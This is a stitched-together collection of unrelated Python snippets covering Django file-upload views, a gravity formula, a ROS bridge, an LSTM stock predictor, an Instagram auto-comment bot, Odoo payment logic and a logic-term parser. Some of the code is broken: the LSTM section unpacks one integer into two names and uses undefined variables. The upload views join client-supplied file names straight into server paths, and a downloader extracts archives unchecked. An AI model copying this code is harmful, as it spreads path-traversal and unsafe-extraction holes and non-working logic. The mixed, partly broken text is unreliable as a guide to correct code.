        traceback.print_exc()
        return None

def createDataset(username,name,content,data_type,filesize):

    try:

        logic_Dataset = DataSet.objects.create(
            name=name,
            user=User.objects.get(username=username),
            created_time=datetime.now(),
            data_type=data_type,
            size=filesize,
            lastUpdated=datetime.now()
        )
        result = logic_Dataset.saveDoc(content)
        if result is not None:
            print('saving is done')
            return True
        else:
            return False

    except Exception as e:
        print(type(e))
        traceback.print_exc()

#更新hdf文件
def updateFile2Hdf(request,type):
    if request.method != 'POST':
        return render_to_response('403.html')

    try:
        path = r'C:\Users\cwj\PycharmProjects\DataVisualizationProject\tmpFile\\'
        savePath = r'C:\Users\cwj\PycharmProjects\DataVisualizationProject\userData\\'  # hdf 路径

        ##文件处理 写入临时文件夹
        print(request.FILES)
        file = request.FILES.get('file')
        f = open(path + file.name, 'wb')
        print(path + file.name)

        for chunk in file.chunks():  # 分块处理
            f.write(chunk)
        f.close()

        mode = request.POST['mode']
        print(mode)
        dataSetName = request.POST['name']
        user = User.objects.get(username=request.user)
        ds = DataSet.objects.get(user=user, name=dataSetName)

        filename = user.username+'_'+dataSetName+'.hdf5'

        if toHdf(path + file.name, savePath + filename, type, mode=mode):
            ds.miliTime = str(round(time.time()*1000))
            ds.save()
            return HttpResponse('just updated ' + filename)
        else:
            return HttpResponse('false')

    except:
        traceback.print_exc()
        return HttpResponse('false')

#对hdf文件的上传与处理
def uploadFile2Hdf(request,type):
    if request.method != 'POST':
        return render_to_response('403.html')
    #先将文件写到临时文件夹里 临时文件夹路径如下

    try:
        path = r'C:\Users\cwj\PycharmProjects\DataVisualizationProject\tmpFile\\'
        savePath = r'C:\Users\cwj\PycharmProjects\DataVisualizationProject\userData\\'  # hdf 路径

        print(request.FILES)
        file = request.FILES.get('file')
        f = open(path + file.name, 'wb')

        for chunk in file.chunks():  # 分块处理
            f.write(chunk)
        f.close()

        # 获取用户
        user = User.objects.get(username=request.user)
        username = user.username
        datasetName = request.POST['name']
        # HDF文件的名字 用户名+数据集名
        hdfName = username + '_' + datasetName + '.hdf5'
        if createHdf5File(hdfName):
            toHdf(path + file.name, savePath + hdfName, type,mode='replace')

        import os
        # 删除源文件
        os.remove(path + file.name)

        if createFileIndex(request.POST['name'],user,type,file.size):
            return HttpResponse('true')
        else:
            return HttpResponse('false')

    except:
        traceback.print_exc()
        return HttpResponse('false')

def createFileIndex(name,user,data_type,filesize):   #hdf格式下使用 创建用户的文件索引
    type = 'E'
    if data_type == 'txt':
        type = 'T'
    elif data_type == 'csv':
        type = 'C'

    try:
        logic_Dataset = DataSet.objects.create(
            name=name,
            user=user,
            created_time=datetime.now(),
            data_type=type,
            size=filesize,
            lastUpdated=datetime.now(),
            miliTime=str(round(time.time()*1000))
        )
        print('saving is done')
        return True

    except Exception as e:
        traceback.print_exc()
        return False

def toHdf(OriginPath,hdfPath,type,mode='update'):

    hdf = pd.HDFStore(hdfPath)

    isAppend = ""
    if mode=='replace':
        isAppend = False
    elif mode == 'update':
        isAppend = True

    file = ""
    if type=='csv':
        try: #格式测试
            file = pd.read_csv(OriginPath, encoding='utf-8', iterator=True)
        except:
            file = pd.read_csv(OriginPath, encoding='gb2312', iterator=True)
    elif type=='xl':
        file = pd.read_excel(OriginPath)
    elif type== 'txt':
        file = pd.read_table(OriginPath, delim_whitespace=True,iterator=True)

    try:
        if type== 'xl':
            hdf.put('data',file, format='t', append=isAppend, data_columns=True,min_itemsize={'values': 50}) #每项的长度
        else:
            while True:
                try:
                    df = file.get_chunk(chunkSize)
                    hdf.put('data', df, format='t', append=isAppend, data_columns=True,min_itemsize={'values': 50}) #每项的长度
                    isAppend = True
                except StopIteration:
                    print('finished iteration')
                    break;

        hdf.close()
        return True

    except Exception as e:
        traceback.print_exc()
        return False


#!/usr/bin/env python
# grav.py
import math as m

def grav(Z,WINDE,WINDN,LAT,LON):
  """GV = grav(Z,WINDE,WINDN,LAT,LON)

=======================================================================

              University of Maryland Baltimore County [UMBC]

              AIRS

              GRAV

 ROUTINE NAME: GRAV

 ABSTRACT: Function for computing Earth's gravity.

 CALL PROTOCOL:
    GRAV(Z, WINDE, WINDN, LAT, LON)

 INPUT PARAMETERS:
    type      name    purpose                     units
    --------  ------  --------------------------  ---------------------
    REAL      LAT     latitude                    degrees
    REAL      LON     longitude                   degrees
    REAL      WINDE   wind velecity east          m/s
    REAL      WINDN   wind velocity north         m/s
    REAL      Z       altitude                    m

 OUTPUT PARAMETERS:
    type      name    purpose                     units
    --------  ------  --------------------------  ---------------------
    REAL      GRAV    Earth gravity               m/s^2

    Function to calculate Earth gravity (gravitation plus
    centripetal acceleration) for points in the atmosphere.

    It calculates surface gravity using an equation given in
    "American Institute of Physics Handbook", 1963, page 2-102.
    This equation is essentially a variant of the International
    Gravity Formula with an extra term for longitude (which is
    very minor).

    Centripetal acceleration is tangental velocity squared over the
    radius.

    Gravitation is the gravitational constant times the Earth's mass
    divided by the square of the radius.

    Gravity at any point in the atmosphere is simply surface gravity
    plus the change in gravitation and centripetal acceleration at
    that point compared to the surface.
  """
  # Constants for (1 - b^2/a^2) with
  # a = 6.378388E+6 m = equatorial radius, and
  # b = 6.356911E+6 m = polar radius.
  #
  # Constants for normal gravity equation
  # (see "American Institute of Physics Handbook", 1963, pg 2-102)
  #
  # Constants for pi/180, 2*pi, and Earth's rotational speed
  # of w=1/86400 rev/s

  B2 = 4.041031E+13
  ABTERM = 6.724285E-3
  G0 = 9.780455
  C1 =5.30157E-3
  C2 = -5.85E-6
  C3 = 6.40E-6
  PI180 = 1.7453293E-2
  PI2 = 6.28318531
  W = 1.1574074E-5

  # Calculate longitude term
  # Add offset of 18 degrees, double it, convert to radians, and
  # take the cosine
  COSLON = m.cos(PI180*2.0*(LON + 18.0))

  # Calculate the latitude terms
  # Convert Latitude into radians
  LTRAD=PI180*LAT

  # Calculate sine and cosine terms
  COSLT = m.cos(LTRAD)
  COSLT2 = COSLT**2
  SINLT2 = ( m.sin(LTRAD ) )**2;
  SIN2LT = ( m.sin( 2.0*LTRAD ) )**2

  # Calculate the Earth's radius at this latitude
  R = m.sqrt( B2/( 1.0 - COSLT2*ABTERM ) )

  # Calculate total distance from Earth's center
  RTOT = R + Z

  # Calculate gravity at the Earth's surface
  G_SUR = G0*( 1.0 + C1*SINLT2 + C2*SIN2LT + C3*COSLT2*COSLON )

  # Calculate the centripetal term at the Earth's surface
  C_SUR = COSLT2*R*(PI2*W)**2

  # Calculate the centripetal term at altitude z (with wind)
  C_Z = ( ( PI2*RTOT*COSLT*W + WINDE )**2 + (WINDN)**2 )/RTOT

  # Calculate the change in gravitation with altitude
  GRAVZ=(G_SUR + C_SUR)*(1.0 - R**2/RTOT**2);

  GRAV = G_SUR + (C_SUR - C_Z) - GRAVZ
  return GRAV

if __name__ == '__main__':
  print(grav.__doc__)
  gv = grav(950,-3.5,4.0,45.0,43.0)
  print(gv)


import numpy as np

# mean
mean = np.mean(data)

# standard deviation
standard_deviation = np.std(data)

# percentiles or quartiles
median = np.percentile(data, 50)
q1 = np.percentile(data, 25)
q3 = np.percentile(data, 75)

# Inter-quartile range and outlier detection
iqr = q3 - q1

# numbers outside this range are outliers
lower_bound = q1 - 1.5 * iqr
upper_bound = q3 + 1.5 * iqr


import rospy
import carla
from carla_ros_bridge.bridge import CarlaRosBridge
from carla_ros_bridge.bridge_with_rosbag import CarlaRosBridgeWithBag

def main():
    """
        Main Function for Carla Simulator ROS Bridge.
        Maintains communication between client and the CarlaRosBridge objects
        :return:
    """
    rospy.init_node("carla_client", anonymous=True)

    params = rospy.get_param('carla')
    host = params['host']
    port = params['port']
    rospy.loginfo("Trying to connect to {host}:{port}".format(host=host, port=port))

    try:
        carla_client = carla.Client(host=host, port=port)
        carla_client.set_timeout(2000)
        carla_world = carla_client.get_world()
        rospy.loginfo("Connected")

        bridge_cls = CarlaRosBridgeWithBag if rospy.get_param('rosbag_fname', '') else CarlaRosBridge
        carla_ros_bridge = bridge_cls(carla_world=carla_client.get_world(), params=params)
        carla_ros_bridge.run()
        carla_ros_bridge = None

        rospy.logdebug("Delete world and client")
        del carla_world
        del carla_client
    finally:
        rospy.loginfo("Done")

if __name__ == "__main__":
    main()


import os
import shutil
import tarfile

import requests

def download_file(url, file_name):
    # First remove the archive_name file if it exists.
    if os.path.exists(file_name):
        os.remove(file_name)
    request = requests.get(url)
    with open(file_name, "wb") as fd:
        fd.write(request.content)

def download_and_extract_archive(url, file_location):
    archive_name = file_location + '.tgz'

    # Download file
    download_file(url, archive_name)

    # Extract from archive and remove archive.
    tar = tarfile.open(archive_name)
    tar.extractall(path=file_location)
    tar.close()
    os.remove(archive_name)

    # Move content to the pre-defined location.
    directories = [
        name for name in os.listdir(file_location)
        if os.path.isdir(os.path.join(file_location, name))]
    sub_directory = directories[0]
    for filename in os.listdir(os.path.join(file_location, sub_directory)):
        shutil.move(
            os.path.join(file_location, sub_directory, filename),
            os.path.join(file_location, filename))


import secrets

# Configuration parameters

omekas_api_url = secrets.omekas_api_url     # This value is imported from the secrets.py file
input_dir = "data/omekas"
output_dir = "data/result"

# Define the query-URL to limit the amount of results
# The site_id can be found on <omekas_api_url>/sites
api_filter_query = "?site_id=4"

# Define the list of API endpoints to harvest. A list of available endpoints can be found at the omekas_api_url defined above.
api_endpoints = [
    "custom_vocabs",
    "data_types",
    "item_sets",
    "items",
    "media",
    "properties",
    "resource_classes",
    "resource_templates",
    "sites",
    "vocabularies"
]


from django.shortcuts import render

def homepage(request):
    return render(request, 'home.html')

def calculate(request):
    # Get amount value from request.
    amount = request.GET['amount']
    try:
        amount_tmp = int(amount)
    except ValueError:
        return render(request, 'error_page.html', {'error_message': "Money should be integer"})

    # We already know about $ cash types. We can hold into tuples. It's stable
    t_cash_moneys = (100, 50, 20, 10, 5, 2, 1)

    # This will hold count of money types as dictionary.
    d_calculated_cash = {}

    for money in t_cash_moneys:
        d_calculated_cash[money] = int(amount_tmp / money)
        amount_tmp %= money

    return render(request, 'atm.html', {'calculated_cash': d_calculated_cash.items(),
                                        'sum_of_min_total': sum(d_calculated_cash.values()),
                                        'amount': amount})


import pandas as pd

data = pd.read_csv('Book1.csv')

products = []
transactions = []
touched = []
for i, j in data.iterrows():
    products.append(j.productName)
    transactions.append(j.transactionAmountUSD)

for i in range(0, len(products)):
    for j in range(i+1, len(products)):
        if (products[i] == products[j]):
            transactions[i] = transactions[i] + transactions[j]
            touched.append(j)

for i in range(0, len(touched)):
    products.pop(touched[i])
    transactions.pop(touched[i])

for i in range(0, len(products)):
    print(str(products[i]) + ": " + str(transactions[i]))

input("Press any key to continue...")


m = '10X98765432'

num = '1234567890'

w = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]

ans = []

n = int(input())

for _ in range(n):
    s = input()
    z = 0
    flag = True
    for i in range(17):
        if s[i] not in num:
            ans.append(s)
            flag = False
        else:
            z += w[i] * int(s[i])
    if flag:
        z = z % 11
        if m[z] != s[17]:
            ans.append(s)

if len(ans) == 0:
    print('All passed')
else:
    for i in ans:
        print(i)


import uiautomator2 as u2
import time

d = ""
try:
    d = u2.connect() # connect to device
    print(d.info) #verificar conexion
    print(d.app_list_running()) #ver aplicaciones iniciadas

    #Abrimos instagram
    d.app_start("com.instagram.android", use_monkey=True)

    #Busqueda de publicacion mediante url
    def charge_url():
        time.sleep(2)
        url_publish = input("Ingresa url: ")
        d.open_url(url_publish.strip()) # limpiar url
        time.sleep(3)

    charge_url()

    #abrir componente de comentarios de publicaciones
    while True:
        open_comments_publish = d(resourceId='com.instagram.android:id/row_feed_button_comment', className="android.widget.ImageView")
        if open_comments_publish.exists:
            time.sleep(2)
            open_comments_publish.click()
            break
        else:
            print("Publicacion no autorizada")
            charge_url()

    #Dirigite a la vista de la publicacion para asignar variables a los componentes
    #tenemos que validar todavia si se encuentra el componente para recien ahi activar el bucle
    time.sleep(2)
    comment = d(className='android.widget.EditText', resourceId='com.instagram.android:id/layout_comment_thread_edittext')
    publish_comment = d(className='android.widget.Button',  resourceId='com.instagram.android:id/layout_comment_thread_post_button_click_area')

    #Bucle para comentar la publicacion cada 10 segundos

    count = 0
    while True:
        comment.set_text("Esta es la mejor foto que vi en la semana")
        time.sleep(1)
        publish_comment.click()
        time.sleep(10)
        count += 1
        if count==3:
            print("terminamos")
            break

except:
    print("No existe conexion activa, intenta configurar y conectar tu equipo correctamente")

input()


import torch
import torch.nn as nn

import numpy as np
import pandas as pd
import yfinance as yf
from sklearn.preprocessing import MinMaxScaler

def changeIndexTodatetime(df):
    # 純粹針對若要畫圖有x軸的時間可以對齊

    df = df.reset_index()
    df["Date"] = df["Date"].values.astype("datetime64[D]")   # 從Timestamp轉成純粹日的datetime
    return df.set_index("Date")

def windows_data(seq,ws):
    # 吐出過往每window size天的資料 + window size外的一筆資料
    # 讓lstm吃進的input所需的型態(連續資料)

    out = []
    L = len(seq)
    for i in range(L-ws):
        window = seq[i:i+ws]
        label = seq[i+ws:i+ws+1]
        out.append((window,label))
    return out

class LSTMnetwork(nn.Module):
    # 一層lstm + 一層fully-connected layer
    # 參數數量不要超過train的資料量太多，避免overfitting，所以hidden_size選定30 ~ 35

    def __init__(self,input_size=1, hidden_size = 35, output_size=1):
        super().__init__()
        self.hidden_size = hidden_size

        self.lstm = nn.LSTM(input_size,hidden_size)

        self.linear = nn.Linear(hidden_size,output_size)

        # 初始化LSTM長短期記憶的參數
        # layers(僅一層lstm), batch_size(每次投入的組數) 皆為1
        self.hidden = (torch.zeros(1,1,self.hidden_size),
                       torch.zeros(1,1,self.hidden_size))

    def forward(self,seq):

        # 投入的參數為 : 資料總數, batch_size, 資料維度(都是收盤價)
        lstm_out, self.hidden = self.lstm(seq.view(len(seq),1,-1), self.hidden)

        # 吐出的lstm已經經過activation function，無須搭配relu
        # 此時維度應當為hidden_size，由.view(資料數, -1)控制shape
        pred = self.linear(lstm_out.view(len(seq),-1))
        return pred[-1]

import time
def trainForModel(model, train_data, criterion, optimizer):

    epochs = 100
    start_time = time.time()

    for epoch in range(epochs):

        # 若有需要該次訓練是否有overfitting的跡象，可於同epoch中加入model.eval()進行檢驗
        model.train()
        for seq, y_train in train_data:

            # 初始化參數使用
            optimizer.zero_grad()
            model.hidden = (torch.zeros(1,1,model.hidden_size),
                            torch.zeros(1,1,model.hidden_size))

            y_pred = model(seq)

            loss = criterion(y_pred, y_train)                     # 不使用RMSE因為loss過小，造成梯度消失
            loss.backward()
            optimizer.step()

        print(f'Epoch: {epoch+1:2} Loss: {loss.item():10.8f}', flush = True)

    print(f'\nDuration: {time.time() - start_time:.0f} seconds')

def evalRealLSTM(model, norm, criterion, optimizer, scaler):

    model.eval()
    future, start = 252

    preds = []
    for i in range(future):
        seq = norm[(-(start+90)+i):(-start+i)]
        with torch.no_grad():
            model.hidden = (torch.zeros(1,1,model.hidden_size),
                            torch.zeros(1,1,model.hidden_size))
            preds.append(model(seq).item())

    return scaler.inverse_transform(np.array(preds[-future:]).reshape(-1, 1))

def evalPredLSTM(model, norm, criterion, optimizer, scaler):

    model.eval()

    preds_ = qqq_norm_90.tolist()
    for i in range(future):
        seq = torch.FloatTensor(preds_[-90:])
        with torch.no_grad():
            model.hidden = (torch.zeros(1,1,model.hidden_size),
                            torch.zeros(1,1,model.hidden_size))
            preds_.append(model(seq).item())

    fake_predictions = scaler.inverse_transform(np.array(preds_[-future:]).reshape(-1, 1))

def main():
    """
    此架構以jupyter notebook上的程式碼改寫而成
    無plt進行繪圖
    """
    qqq_df = yf.Ticker("QQQ").history(period="20y")
    qqq_df = changeIndexTodatetime(qqq_df)

    qqq_price = qqq_df[["Close"]]

    # 抓過去20年~1年的交易總日作為train data
    train_df = qqq_price[:-252]
    train_arr = train_df.values.astype(float)

    # 讓超參數收斂更快 + 有效檢查是否有數據洩漏
    scaler = MinMaxScaler(feature_range=(0, 1))
    train_norm = scaler.fit_transform(train_arr.reshape(-1, 1))
    train_norm = torch.FloatTensor(train_norm).view(-1)

    window_size = 90
    train_data = windows_data(train_norm, window_size)

    model = LSTMnetwork()
    print(f"訓練資料數量: {len(train_data)}")
    print(f"模型參數總量: {sum([param.numel() for param in model.parameters()]) }")

    criterion = nn.MSELoss()
    optimizer = torch.optim.Adam(model.parameters(), lr=0.001)    # lr為超參數，每次權重移動的步伐

    trainForModel(model, train_data, criterion, optimizer)

    qqq_arr = qqq_price[-(252+90):].values.astype(float)
    qqq_norm = scaler.fit_transform(qqq_arr.reshape(-1, 1))
    qqq_norm = torch.FloatTensor(qqq_norm).view(-1)

    # 每日的預測，皆拿"實際資料"去預測
    pred_data_T = evalRealLSTM(model, qqq_norm, criterion, optimizer, scaler)

    qqq_90 = qqq_price[-(252+90):-252].values.astype(float)
    qqq_norm_90 = scaler.fit_transform(qqq_90.reshape(-1, 1))
    qqq_norm_90 = torch.FloatTensor(qqq_norm_90).view(-1)

    # 每日的預測，後續則拿"預測資料"去預測" (誤差疊加)
    pred_data_P = evalPredLSTM(model, qqq_norm_90, criterion, optimizer, scaler)

if __name__ == "__main__":
    main()


def choice(depth, total):
    global max_total
    if depth >= n: # depth가 끝까지 왔으면
        max_total = max(max_total, total) # 최대 확률 비교해서 갱신하기
        return
    for i in range(n):
        next_total = total * p[depth][i] # 확률 합산하기
        if not is_chosen[i] and next_total > max_total: # 선택되지 않은 업무이고, 현재까지의 확률이 최대 확률보다 클 경우
            is_chosen[i] = 1 # 업무 선택
            choice(depth+1, next_total) # 다음 단계로 재귀
            is_chosen[i] = 0 # 업무 선택 취소

for t in range(1, int(input())+1):
    n = int(input())
    p = [list(map(lambda x: float(x)/100.0, input().split())) for _ in range(n)] # map을 이용해 미리 모든 원소 100으로 나누기
    is_chosen = [0] * n # 업무 선택 여부 저장하는 리스트
    max_total = 0
    choice(0, 1)
    print('#{} {:.6f}'.format(t, max_total*100.0))


# -*- coding: utf-8 -*-

import logging

from odoo import models, _
from odoo.tools import float_compare

_logger = logging.getLogger(__name__)

class PaymentTransaction(models.Model):
    _inherit = "payment.transaction"

    def _confirm_so(self, acquirer_name=False):
        for tx in self:
            # check tx state, confirm the potential SO
            if tx.sale_order_id and tx.sale_order_id.state in ['draft', 'sent']:
                # verify SO/TX match, excluding tx.fees which are currently not included in SO
                amount_matches = float_compare(tx.amount, tx.sale_order_id.amount_total, 2) == 0
                if amount_matches:
                    if not acquirer_name:
                        acquirer_name = tx.acquirer_id.provider or 'unknown'
                    if tx.state == 'authorized' and tx.acquirer_id.auto_confirm == 'authorize':
                        _logger.info('<%s> transaction authorized, auto-confirming order %s (ID %s)', acquirer_name, tx.sale_order_id.name, tx.sale_order_id.id)
                        tx.sale_order_id.with_context(send_email=True).action_confirm()
                    if tx.state == 'done' and tx.acquirer_id.auto_confirm in ['confirm_so', 'generate_and_pay_invoice']:
                        _logger.info('<%s> transaction completed, auto-confirming order %s (ID %s)', acquirer_name, tx.sale_order_id.name, tx.sale_order_id.id)
                        tx.sale_order_id.with_context(send_email=True).action_confirm()

                        if tx.acquirer_id.auto_confirm == 'generate_and_pay_invoice' and tx.sale_order_id.to_create_invoice:
                            self._generate_and_pay_invoice(tx, acquirer_name)
                    elif tx.state not in ['cancel', 'error'] and tx.sale_order_id.state == 'draft':
                        _logger.info('<%s> transaction pending/to confirm manually, sending quote email for order %s (ID %s)', acquirer_name, tx.sale_order_id.name, tx.sale_order_id.id)
                        tx.sale_order_id.force_quotation_send()
                else:
                    _logger.warning(
                        '<%s> transaction AMOUNT MISMATCH for order %s (ID %s): expected %r, got %r',
                        acquirer_name, tx.sale_order_id.name, tx.sale_order_id.id,
                        tx.sale_order_id.amount_total, tx.amount,
                    )
                    tx.sale_order_id.message_post(
                        subject=_("Amount Mismatch (%s)") % acquirer_name,
                        body=_("The sale order was not confirmed despite response from the acquirer (%s): SO amount is %r but acquirer replied with %r.") % (
                            acquirer_name,
                            tx.sale_order_id.amount_total,
                            tx.amount,
                        )
                    )


from term import *
from parser import *
from logic_core import LogicCore

class TermParser:
    def __init__(self, logic, int_to_term = None):
        self.logic = logic
        self.name_arity_to_var = dict()
        self.name_signature_to_const = dict()
        self.const_to_age = dict()
        self.consts_by_age = []
        self.name_to_axiom = dict()
        self.syntax_parser = Parser()
        self.syntax_parser.set_line_comment('#')
        self.last_line = 0,''
        self.cur_fname = None
        self.int_to_term = int_to_term
        self.verbose = False
        self.available_vars = None

        parenth = self.add_syntax_rule(SyntaxBasic(
            '(', None, ')',
        ))
        parenth.semantics = lambda dummy1,arg,dummy2: self.tree_to_term(arg)
        self.add_syntax_rule(SyntaxFunApp()).semantics = self._funapp
        self.syntax_parser._rule_atom.semantics = self._nulary_const_or_var
        self.syntax_colon = self.add_syntax_rule(SyntaxBasic(
            None, ':', None,
            assoc_right = True,
            outside = self.syntax_parser.precedence_of('(')
        ))
        self.def_syntax = self.add_syntax_rule(SyntaxBasicOuter(
            None, ':=', None
        ), allow_inside = False)
        self.ax_syntax = self.add_syntax_rule(SyntaxBasicOuter(
            None, ':', None
        ), allow_inside = False)
        self.eq_precedence = None
        self.neg_function = None

    def add_syntax_rule(self, rule, **kwargs):
        return self.syntax_parser.add_rule(rule, **kwargs)
    def syntax_state(self):
        return self.parser_to_tree.ini_state()
    def syntax_tree_to_term(self, syntax_tree, introduce_constant = False, with_binders = False, local_context = None, available_vars = None):

        if local_context is None: self.local_context = dict()
        elif isinstance(local_context, dict): self.local_context = dict(local_context)
        else: self.local_context = {name:i for i,name in enumerate(local_context)}

        if not self.local_context: self.depth = 0
        else: self.depth = max(self.local_context.values())+1

        self.introduce_constant = introduce_constant
        if available_vars is not None: self.available_vars = set(available_vars)
        self.new_constant = None

        if with_binders: bound_names, res = self._binder_tree_to_term(syntax_tree)
        else: res = self.tree_to_term(syntax_tree)

        del self.depth
        del self.local_context
        del self.introduce_constant
        self.available_vars = None
        new_constant = self.new_constant
        del self.new_constant

        if introduce_constant:
            if with_binders:
                return bound_names, res, new_constant
            else:
                return res, new_constant
        else:
            if with_binders:
                return bound_names, res
            else:
                return res

    def tree_to_term(self, syntax_tree):
        return syntax_tree.rule.semantics(*syntax_tree.args)
    def _nulary_const_or_var(self, token):
        if token.name.isdigit():
            if self.int_to_term is None:
                raise ErrorInLine("Numbers not supported, missing conversion to term", token)
            else:
                return self.int_to_term(int(token.name))
        bvi = self.local_context.get(token.name, None)
        if bvi is not None:
            return BVar(self.depth - bvi)
        else:
            x = self._get_const_or_var(token.name, ())
            if x is None:
                raise ErrorInLine("No constant / variable available", token)
            return TermApp(x, ())
    def _get_string(self, tree):
        if tree.rule != self.syntax_parser._rule_atom: return None
        return tree.args[0].name

    def _binder_tree_to_term(self, tree):
        bvs = []
        while tree.rule == self.syntax_colon:
            bv = self._get_string(tree.args[0])
            assert bv is not None
            bvs.append(bv)
            tree = tree.args[2]
        if bvs:
            local_context_ori = dict(self.local_context)
            for bv in bvs:
                assert not bv.isdigit()
                self.local_context[bv] = self.depth
                self.depth += 1
        term = self.tree_to_term(tree)
        if bvs:
            self.depth -= len(bvs)
            self.local_context = local_context_ori
        return tuple(bvs), term

    def _funapp(self, *args):
        fun = self._get_string(args[0])
        assert fun != None
        assert not fun.isdigit()
        assert fun not in self.local_context
        introduce_constant = self.introduce_constant
        self.introduce_constant = False
        term_args = [
            self._binder_tree_to_term(arg)
            for arg in args[2::2]
        ]
        bound_names = tuple(bn for bn,_ in term_args)
        term_args = tuple(term_arg for _,term_arg in term_args)
        signature = tuple(len(bn) for bn in bound_names)
        self.introduce_constant = introduce_constant
        f = self._get_const_or_var(fun, signature)
        if f is None: raise ErrorInLine("No constant / variable available", args[0].args[0])
        self.introduce_constant = False
        res = TermApp(f, term_args, bound_names = bound_names)
        return res

    def get_var(self, name, arity):
        v = self.name_arity_to_var.get((name, arity), None)
        if v is not None:
            if self.available_vars is not None and v not in self.available_vars: return None
            return v
        if self.available_vars is not None: return None #
        v = TermVariable(arity, name = name)
        self.name_arity_to_var[name, arity] = v
        return v

    def _get_const_or_var(self, name, signature):
        if self.introduce_constant and self.new_constant is None:
            for core_constant in (self.logic.implication, self.logic.equality):
                if name == core_constant.name:
                    assert signature == core_constant.signature
                    const = core_constant
                    break
            if name == self.logic.implication.name:
                assert signature == (0,0)
                const = self.logic.implication
            elif name == "__eq__":
                assert signature == (0,0)
                const = self.logic.equality
            else: const = TermConstant(signature, name = name)
            self.new_constant = const
            return const
        const = self.name_signature_to_const.get((name, signature), None)
        if const is not None: return const

        if not all(x == 0 for x in signature): return None
        return self.get_var(name, len(signature))

    def parse_file(self, fname, verbose = False):
        verbose_ori=  self.verbose
        self.verbose = verbose
        self.cur_fname = fname
        with open(fname) as f:
            self.parse_lines(f)
        self.cur_fname = None
        self.verbose = verbose_ori

    def parse_lines(self, lines):
        state = ParseTermState(self)
        for i,line in enumerate(lines):
            state.add_line(line, i+1)
        self.last_line = 0,''
        state.finish()

    def parse_str(self, s, **kwargs):
        syntax_state = self.syntax_parser.ini_state()
        if '\n' in s:
            for i,line in enumerate(s.split('\n')):
                syntax_state.parse_line(line,i)
        else:
            syntax_state.parse_line(s,None)
        syntax_tree = syntax_state.finish()
        [syntax_tree] = syntax_tree.args
        return self.syntax_tree_to_term(syntax_tree, **kwargs)

    def _get_header_var_list(self, term, f):
        assert term.f == f
        res = []
        res_s = set()
        for arg in term.args:
            v = arg.f
            assert isinstance(v, TermVariable)
            assert v not in res_s
            for i, v_arg in enumerate(arg.args):
                assert isinstance(v_arg, BVar)
                assert v_arg.debruijn_height == v.arity-i
            res_s.add(v)
            res.append(v)
        return res

    def register_constant(self, c):
        assert (c.name, c.signature) not in self.name_signature_to_const
        self.name_signature_to_const[c.name, c.signature] = c
        age = len(self.consts_by_age)
        self.consts_by_age.append(c)
        self.const_to_age[c] = age
    def add_constant(self, syntax_tree):
        t,c = self.syntax_tree_to_term(syntax_tree, True)
        self._get_header_var_list(t,c)
        self.register_constant(c)
    def add_definition(self, header, _, body):
        header,c = self.syntax_tree_to_term(header, True)
        var_list = self._get_header_var_list(header,c)
        body = self.syntax_tree_to_term(body, available_vars = var_list)
        assert (c.name, c.signature) not in self.name_signature_to_const
        c = self.logic.add_definition(
            var_list, body,
            name = c.name,
            bound_names = header.bound_names
        )
        self.register_constant(c)
        if self.verbose:
            print("Definition:", c.def_core_thm.term)
    def add_axiom(self, name, _, body):
        assert name.rule == self.syntax_parser._rule_atom
        name = name.args[0].name
        body = self.syntax_tree_to_term(body)
        axiom = self.logic.add_axiom(body, [self.cur_fname, self.last_line[0]])
        self.name_to_axiom[name] = axiom
        if self.verbose:
            print("Axiom:", axiom)

    def check_eq_rule(self, f_name, rule):
        if self.eq_precedence is None and f_name == "__eq__":
            self.eq_precedence = rule.precedence
    def check_accepts_modified(self, f_name, rule):
        if self.eq_precedence is None: return
        if (
                rule.precedence != self.eq_precedence and
                not rule.precedence.is_lower_than(self.eq_precedence)
        ): return
        if len(rule.elements) < 2: return
        if isinstance(rule.elements[0], str): return
        if not isinstance(rule.elements[1], str): return
        rule.accepts_modified = True
    def check_neg_rule(self, f_name, rule):
        if self.neg_function is not None: return
        if len(rule.elements) != 2: return
        if f_name != "_neg": return
        if not isinstance(rule.elements[0], str): return
        if isinstance(rule.elements[1], str): return
        self.neg_function = self.name_signature_to_const[f_name, (0,)]
        self.syntax_parser.add_operator_modifier(rule.elements[0], "LIT", "NEG")

class ParseTermState:
    def __init__(self, parser):
        self.parser = parser
        self.syntax_parser = parser.syntax_parser
        self.syntax_state = None
        self.syntax_purpose = None
        self.parser.last_line = 0,''

    def add_line(self, line, lineno):
        if not line.strip(): return
        line_start = None
        if line and not line[0].isspace():
            line_start = line.split(' ', 1)[0]
        if line_start == "Constant":
            self.finish()
            self.parser.last_line = lineno, line
            self.syntax_state = self.syntax_parser.ini_state()
            self.syntax_purpose = self.parser.add_constant
            self.syntax_state.parse_line(line.split(' ', 1)[1], lineno)
        elif line_start == "Definition":
            self.finish()
            self.parser.last_line = lineno, line
            self.syntax_state = self.syntax_parser.ini_state(self.parser.def_syntax)
            self.syntax_purpose = self.parser.add_definition
            self.syntax_state.parse_line(line.split(' ', 1)[1], lineno)
        elif line_start == "Axiom":
            self.finish()
            self.parser.last_line = lineno, line
            self.syntax_state = self.syntax_parser.ini_state(self.parser.ax_syntax)
            self.syntax_purpose = self.parser.add_axiom
            self.syntax_state.parse_line(line.split(' ', 1)[1], lineno)

        elif line_start == "Notation":
            self.finish()
            self.parser.last_line = lineno, line
            # Basic line parsing
            all_tokens = line.split()
            f = all_tokens[1]
            i = 2
            j = i
            line_parts = []
            for j in range(i,len(all_tokens)):
                if len(all_tokens[j]) > 2 and all_tokens[j].isupper():
                    line_parts.append(all_tokens[i:j])
                    i = j
            line_parts.append(all_tokens[i:])
            syntax_elements = [
                (x if x != '_' else None)
                for x in line_parts[0]
            ]

            # getting precedence arguments
            inside = []
            outside = []
            precedence = None
            assoc_left = False
            assoc_right = False
            for cmd,*args in line_parts[1:]:
                if cmd == "INSIDE":
                    inside.extend(
                        self.syntax_parser.precedence_of(x)
                        for x in args
                    )
                elif cmd == "OUTSIDE":
                    outside.extend(
                        self.syntax_parser.precedence_of(x)
                        for x in args
                    )
                elif cmd == "PRECEDENCE":
                    assert precedence is None
                    [arg] = args
                    precedence = self.syntax_parser.precedence_of(arg)
                elif cmd == "ASSOCLEFT":
                    assert not args
                    assoc_left = True
                elif cmd == "ASSOCRIGHT":
                    assert not args
                    assoc_right = True

            if precedence is None:
                if syntax_elements[0] is None or syntax_elements[-1] is None:
                    assert inside or outside, line
                precedence_kwargs = {
                    "inside": inside,
                    "outside": outside,
                    "assoc_left": assoc_left,
                    "assoc_right": assoc_right,
                }
            else:
                assert not inside
                assert not outside
                assert not assoc_left
                assert not assoc_right
